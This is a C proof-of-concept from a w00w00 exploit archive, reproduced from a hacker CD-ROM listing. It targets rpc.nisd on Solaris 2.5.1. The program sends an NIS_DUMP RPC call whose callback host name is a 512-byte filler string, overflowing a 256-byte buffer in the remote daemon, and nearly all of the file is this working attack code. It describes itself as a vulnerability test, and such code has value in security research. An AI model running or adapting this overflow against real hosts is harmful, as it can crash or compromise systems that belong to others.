home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / exploits / tests / nis / old / nis_clnt_tcp.c < prev    next >
Encoding:
C/C++ Source or Header  |  1999-06-07  |  3.0 KB  |  118 lines

  1. /* w00w00! */
  2. /* This will test a vulnerability in rpc.nisd on Solaris 2.5.1 */
  3. /* (and maybe other versions). See w00w00/vuls/nisvuls for     */
  4. /* details.                               */
  5. /*                                    */
  6. /* This version takes a second argument as the port that       */
  7. /* rps.nisd is listening on (you can get this from running:    */
  8. /*  rpcinfo -p <host>                           */
  9. /* where host is the host you're testing for a vulnerability.  */
  10. /*                                    */
  11. /* nis_clnt1.c just takes one argument which is the hostname.  */
  12. /* It will find the port from the portmapper.                  */
  13. /*                                    */
  14. /* Shok (Matt Conover), shok@dataforce.net               */
  15.  
  16. #include <stdio.h>
  17. #include <netdb.h>
  18. #include <stdlib.h>
  19. #include <memory.h>
  20. #include <string.h>
  21. #include <sys/time.h>
  22.  
  23. #include "nis.h"
  24.  
  25. /* Default timeout can be changed using clnt_control() */
  26. static struct timeval TIMEOUT = { 60, 0 };
  27.  
  28. log_result *
  29. nis_dump_3(argp, clnt)
  30.     dump_args *argp;
  31.     CLIENT *clnt;
  32. {
  33.     static log_result clnt_res;
  34.  
  35.     memset((char *)&clnt_res, 0, sizeof (clnt_res));
  36.     if (clnt_call(clnt, NIS_DUMP,
  37.         (xdrproc_t) xdr_dump_args, (caddr_t) argp,
  38.         (xdrproc_t) xdr_log_result, (caddr_t) &clnt_res,
  39.         TIMEOUT) != RPC_SUCCESS) {
  40.         return (NULL);
  41.     }
  42.     return (&clnt_res);
  43. }
  44.  
  45. void main(int argc, char **argv)
  46. {
  47.   register int i;
  48.   int sock = RPC_ANYSOCK;
  49.  
  50.   log_result *result;
  51.  
  52.   dump_args da;
  53.  
  54.   char   buf[512];
  55.   register CLIENT  *cl;
  56.  
  57.   struct hostent *hp;
  58.   struct sockaddr_in saddr;
  59.   struct timeval ctimeout;
  60.  
  61.  
  62.   if (argc < 3) {
  63.      printf(" Usage: %s <host> <port>\n", argv[0]);
  64.      exit(1);
  65.   }
  66.  
  67.  
  68.   if ((hp = gethostbyname(argv[1])) == NULL) {
  69.     herror("gethostbyname");
  70.     exit(1);
  71.   }
  72.  
  73.   ctimeout.tv_sec  = 10;
  74.   ctimeout.tv_usec = 0;
  75.   
  76.   bcopy(hp->h_addr, (caddr_t)&saddr.sin_addr, hp->h_length);
  77.   saddr.sin_family = AF_INET;
  78.   saddr.sin_port   = htons(atoi(argv[2]));
  79.  
  80.  
  81.   if ((cl = clnttcp_create(&saddr, NIS_PROG, NIS_VERSION, &sock, 0, 0)) 
  82.           == NULL) {
  83.      clnt_pcreateerror("clnttcpp_create");
  84.      printf("Try using nis_clnt1_tcp (nis_clnt1_tcp.c) instead.\n");
  85.      exit(1);
  86.   }
  87.  
  88.   for (i = 0; i < sizeof(buf); i++) buf[i] = 'A';
  89.   buf[i] = '\0';
  90.  
  91.   /* Set up arguments. */
  92.   bzero(&da, sizeof(da));
  93.  
  94.   /* make room for da.cbhost_val */
  95.   da.da_cbhost.da_cbhost_val = (nis_server *)malloc(sizeof(struct nis_server));
  96.   bzero(da.da_cbhost.da_cbhost_val, sizeof(struct nis_server));
  97.  
  98.   /* Buffer to overflow is MAXNETNAMELEN + 1, which is 256. */
  99.   da.da_time = 1;                                   /* Anything > 0.  */
  100.   da.da_dir  = "/tmp";                              /* Should work.   */
  101.   da.da_cbhost.da_cbhost_len = 1;                   /* Must be one.   */
  102.   da.da_cbhost.da_cbhost_val->name = strdup(buf);   /* Overflow here. */
  103.   da.da_cbhost.da_cbhost_val->key_type = NIS_PK_DH; /* Must be this.  */
  104.  
  105.   result = nis_dump_3(&da, cl);
  106.  
  107.   if (result == NULL) {
  108.      clnt_perror(cl, "rpc");
  109.      exit(1);
  110.   }
  111.  
  112.   printf("All finished.\n");
  113.  
  114.   clnt_destroy(cl);
  115.   free(da.da_cbhost.da_cbhost_val->name);
  116.   free(da.da_cbhost.da_cbhost_val);
  117. }
  118.